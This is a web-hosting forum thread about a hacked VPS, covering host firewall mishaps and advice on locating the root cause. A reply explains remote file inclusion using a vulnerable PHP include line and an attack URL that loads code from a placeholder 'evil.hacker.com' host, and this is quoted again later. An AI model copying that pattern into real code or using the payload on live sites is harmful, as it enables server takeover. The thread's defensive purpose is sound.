Hacked VPS Experience

[ibookdb]

Just to let everyone know around here my experience when my VPS was hacked. I had a directory that had permissions 777 in httpdocs and somehow the hackers got stuff into that directory and execute it. I'm not sure how but it might be some apache-php bug.

Those scripts then found all the directories on the server that were 777 (e.g. /tmp) and made copies of themselves there. All these were owned by user apache. The scripts also created a cron job for the user apache.

I found out when I noticed two days ago that my VPS was using unusual amount of resources and privvmpages was going into black territory and the website was failing. I was lucky that the damage done by the hackers was minor and they only managed to delete stuff from the 777 directory.

However in this process over several support tickets, I managed to get JagPC to install the Virtuozzo firewall for me, which they did promptly and my VPS died (your plesk is misconfigured ...). So after a few hours of struggling they managed to get my VPS back.

It turns out that I had not found all the scripts and deleted them so over another set of support tickets, I Was told that the virtuozzo firewall is buggy and I should use APF. This was late last night so I responded saying that they should remove the vituozzo firewall install APF and restore the missing files form backup ($15 charge for that).

Anyway I get up this morning to check on the status, my VPS is down again (plesk is misconfigured ..) since midnight last noght when they disabled the firewall.

So if you get JagPC to install a firewall insist that it is APF and not the Virtuozzo firewall because the process of installing and uninstalling the Virtuozzo firewall will break your VPS. It has been 1 and a half hours since my support ticket has been assigned to fix the virtuozzo firewall mess.

Also follow the procedure in the securing and optimizing your server thread. I found a lot of unwanted activity on my server thanks to the BFD. Also do this on your VPS:

find / -user apache

because all the malicious scripts were owned by the apache user.

Also add the apache user to your cron.deny

You might also want to check your qmail queue.

[bsd]

dear you have some exploitable php script that the hackers are using to execute code on the server. also if you want secure vps, go with cpanel with suphp. plesk is crap for security.

[ibookdb]

Three Hours and still it has not been fixed.

Yes it was exploitable because the folder had 777 permissions. I'm guessing it had to do with SMF Forum software but it was my mistake not to change the permissions back.

[bsd]

Yes it was exploitable because the folder had 777 permissions. I'm guessing it had to do with SMF Forum software but it was my mistake not to change the permissions back.

777 is not the root cause. you need to find the script that allows remote user (hacker) to access that folder and inject files there. if you don't find it, you will continue to get hacked no matter what you do. no firewall can help you.

[JPC-Zishan]

I have updated your ticket and your Plesk has been fixed now. We don't have any objection in installing APF firewall and this is what we recommend but most of the clients are not much familiar with SSH and are not comfortable on command line so for such clients we had to setup Virtuozzo Firewall. For clients having cPanel/WHM "csf" is a good option that provides the graphical interface but for other control panels if APF is used then it needs to be configured from command line. Virtuozzo Firewall is also not a bad one as it uses the Linux built in iptables Firewall underline. Firewall doesn't do anything on its own. It has to be configured and if its improperly configured then definitely it will block the traffic and causes issues.

[ibookdb]

777 is not the root cause. you need to find the script that allows remote user (hacker) to access that folder and inject files there. if you don't find it, you will continue to get hacked no matter what you do. no firewall can help you.

The folder had no scripts in it, only images and was under httpdocs. I don't think any script I have had much to do with it unless there is some kind of apache-php bug. However I would appreciate pointers on where I can find more information on how to isolate which script caused this if one did.

Also here is the reponse I get from Jag about the VPS being down:
"All this issue was caused by the firewall. I have stopped it to get Plesk working again." No mention of whether they stopped apf or the virtuozzo firewall.

Is there a way to use suphp with plesk?

[ibookdb]

I have updated your ticket and your Plesk has been fixed now. We don't have any objection in installing APF firewall and this is what we recommend but most of the clients are not much familiar with SSH and are not comfortable on command line so for such clients we had to setup Virtuozzo Firewall. For clients having cPanel/WHM "csf" is a good option that provides the graphical interface but for other control panels if APF is used then it needs to be configured from command line. Virtuozzo Firewall is also not a bad one as it uses the Linux built in iptables Firewall underline. Firewall doesn't do anything on its own. It has to be configured and if its improperly configured then definitely it will block the traffic and causes issues.

If you go through the support tickets you will see that I did not configure anything myself. I was not the one who said anything good or bad about virtuozzo firewall or apf. Neither did I make the choice of which to install. Can you please just enable any one of those firewalls for me and make sure it is working with only web, db, ssh, ftp and plesk ports open. Thanks!

[bsd]

The folder had no scripts in it, only images and was under httpdocs. I don't think any script I have had much to do with it unless there is some kind of apache-php bug. However I would appreciate pointers on where I can find more information on how to isolate which script caused this if one did.

it does not matter if that folder had any scripts or not. that is not the source. you need to find root cause. have you checked all your web logs? if not, get ready to be surprised on what is happening and how many hackers/script kiddies are trying to hack/crack.

apache-php bug? which one? there are thousands of known bugs in php scripts written by lousy developers. google and you will find them all. it is so easy to hack you again if you don't fix it. take daily backups of everything. you are at high risk.

here is one single php line of code, variant of which exists in thousands of scripts if not millions:

include "$page";

call this script with page.php?page=myfile.html

and it looks awesome cool feature. now call it with this:

page.php?page=http://evil.hacker.com/evilscript.txt

and you can execute ANYTHING in evilscript.txt right on the server. upload files, backdoors, scan files, exploits and even hack/crack the entire server if some weakness exists on the server.

the above was just one example. you can do anything with such a website. something like that happened with you. can a firewall do anything with that? no.

[ibookdb]

it does not matter if that folder had any scripts or not. that is not the source. you need to find root cause. have you checked all your web logs? if not, get ready to be surprised on what is happening and how many hackers/script kiddies are trying to hack/crack.

apache-php bug? which one? there are thousands of known bugs in php scripts written by lousy developers. google and you will find them all. it is so easy to hack you again if you don't fix it. take daily backups of everything. you are at high risk.

here is one single php line of code, variant of which exists in thousands of scripts if not millions:

include "$page";

call this script with page.php?page=myfile.html

and it looks awesome cool feature. now call it with this:

page.php?page=http://evil.hacker.com/evilscript.txt

and you can execute ANYTHING in evilscript.txt right on the server. upload files, backdoors, scan files, exploits and even hack/crack the entire server if some weakness exists on the server.

the above was just one example. you can do anything with such a website. something like that happened with you. can a firewall do anything with that? no.

Any idea where apache logs are on a plesk vps?

I've taken a lot of care not to do exactly what you mentioned above. And I always check my get and post variables for nasty stuff, especially if it is going to a db.

[bsd]

Any idea where apache logs are on a plesk vps?

i'm not sure i'm not a plesk fan. but you can check their docs: http://www.parallels.com/en/products/plesk/docs/

[JPC-Zishan]

Can you please just enable any one of those firewalls for me and make sure it is working with only web, db, ssh, ftp and plesk ports open. Thanks!

I have installed APF and opened all ports that are required by Plesk as per the KB:

http://kb.parallels.com/en/391

[JPC-Zishan]

Any idea where apache logs are on a plesk vps?

Apache main error log is located at /etc/httpd/logs/error_log. Plesk keeps the error log for each site separately and you can check at /var/www/vhosts/DOMAIN.COM/statistics/logs/error_log.

[ibookdb]

Thanks everyone here - I think I have found the culprit - http://www.juniper.net/security/auto...vuln25768.html and am replacing adodb lite with adodb.

I also found attempts to use adodb lite in the log.

[jason]

I think that bsd hit the nail on the head. All it takes is one poorly written script (be it php, perl, python, or whatever) to wreak havoc on your entire server. Like he suggested, find and check your logs and you'll probably (eventually) find the cause of the exploit.

In your case you were fairly lucky that the script that was injected did do too much damage. Nonetheless, if you have a recent (pre-exploitation) backup you may want to consider wiping the VPS clean and restore the backup just to ward off any chance that the hacker managed to get a rootkit installed somewhere that you haven't discovered.

As for PHP, make sure that register_globals is turned off in your config (php.ini). If you have scripts that require register_globals to be turned on then you should either rewrite or replace them as this is a major security hole in PHP. If that isn't possible then you should only enable the setting on a script-by-script basis. Basically, register_globals turns any value passed in by the browser into a local variable in PHP. While this is convenient for the programmer, if an attacker knows (or guesses) a variable name used in the script he can set his own value for it by passing it in a query string parameter as bsd illustrated. If register_globals is off then that issue can't be exploited because $page won't contain passed-in value, only $_GET['page'] will. Even if you do religious input checking it doesn't matter because 99% of us just check the input values we expect to get, we don't check for input that shouldn't be there. With register_globals turned off you don't have to worry about it.

also consider switching from mod_php to suPHP if you can do it on Plesk (you probably can, though it probably isn't supported by Plesk and it might take some work). With suPHP, your php scripts will run under the user ID of the script's owner, not the apache user. That way you don't need to have directories set to 777 in your user accounts and, if a script gets hacked the most the attacker will generally be able do is modify the actual user's account and maybe a few other (less important) ares of the server, like /tmp. It is much easier to restore one user account's backup than it is to restore an entire server. It is also much easier to isolate the script that caused the bug because you will know the account it originated in.

Good luck. Getting hacked is never fun. The best you can do now is clean up, learn from the experience, and move on.

--Jason

[ibookdb]

I think that bsd hit the nail on the head. All it takes is one poorly written script (be it php, perl, python, or whatever) to wreak havoc on your entire server. Like he suggested, find and check your logs and you'll probably (eventually) find the cause of the exploit.

In your case you were fairly lucky that the script that was injected did do too much damage. Nonetheless, if you have a recent (pre-exploitation) backup you may want to consider wiping the VPS clean and restore the backup just to ward off any chance that the hacker managed to get a rootkit installed somewhere that you haven't discovered.

As for PHP, make sure that register_globals is turned off in your config (php.ini). If you have scripts that require register_globals to be turned on then you should either rewrite or replace them as this is a major security hole in PHP. If that isn't possible then you should only enable the setting on a script-by-script basis. Basically, register_globals turns any value passed in by the browser into a local variable in PHP. While this is convenient for the programmer, if an attacker knows (or guesses) a variable name used in the script he can set his own value for it by passing it in a query string parameter as bsd illustrated. If register_globals is off then that issue can't be exploited because $page won't contain passed-in value, only $_GET['page'] will. Even if you do religious input checking it doesn't matter because 99% of us just check the input values we expect to get, we don't check for input that shouldn't be there. With register_globals turned off you don't have to worry about it.

also consider switching from mod_php to suPHP if you can do it on Plesk (you probably can, though it probably isn't supported by Plesk and it might take some work). With suPHP, your php scripts will run under the user ID of the script's owner, not the apache user. That way you don't need to have directories set to 777 in your user accounts and, if a script gets hacked the most the attacker will generally be able do is modify the actual user's account and maybe a few other (less important) ares of the server, like /tmp. It is much easier to restore one user account's backup than it is to restore an entire server. It is also much easier to isolate the script that caused the bug because you will know the account it originated in.

Good luck. Getting hacked is never fun. The best you can do now is clean up, learn from the experience, and move on.

--Jason

Thanks, I think the cleanup went ok. But I'll keep checking my logs to see if any bad activity is happening. Register globals is off.

Apache running as the apache user helped rather than the owner of the scripts. If apache was running as the owner of the scripts, my entire account could have been wiped clean because I have one account on the vps and that account owns everything. However in this case the scripts only damaged 777 permission directories.

I'm not sure what other permissions the apache user has that a regular user does not, but this time I think I was lucky.

Is there a way to prevent the contents of the folder from being executable. E.g. do not allow any items in a particular folder to be executable or any items placed in a folder that have execute permissions?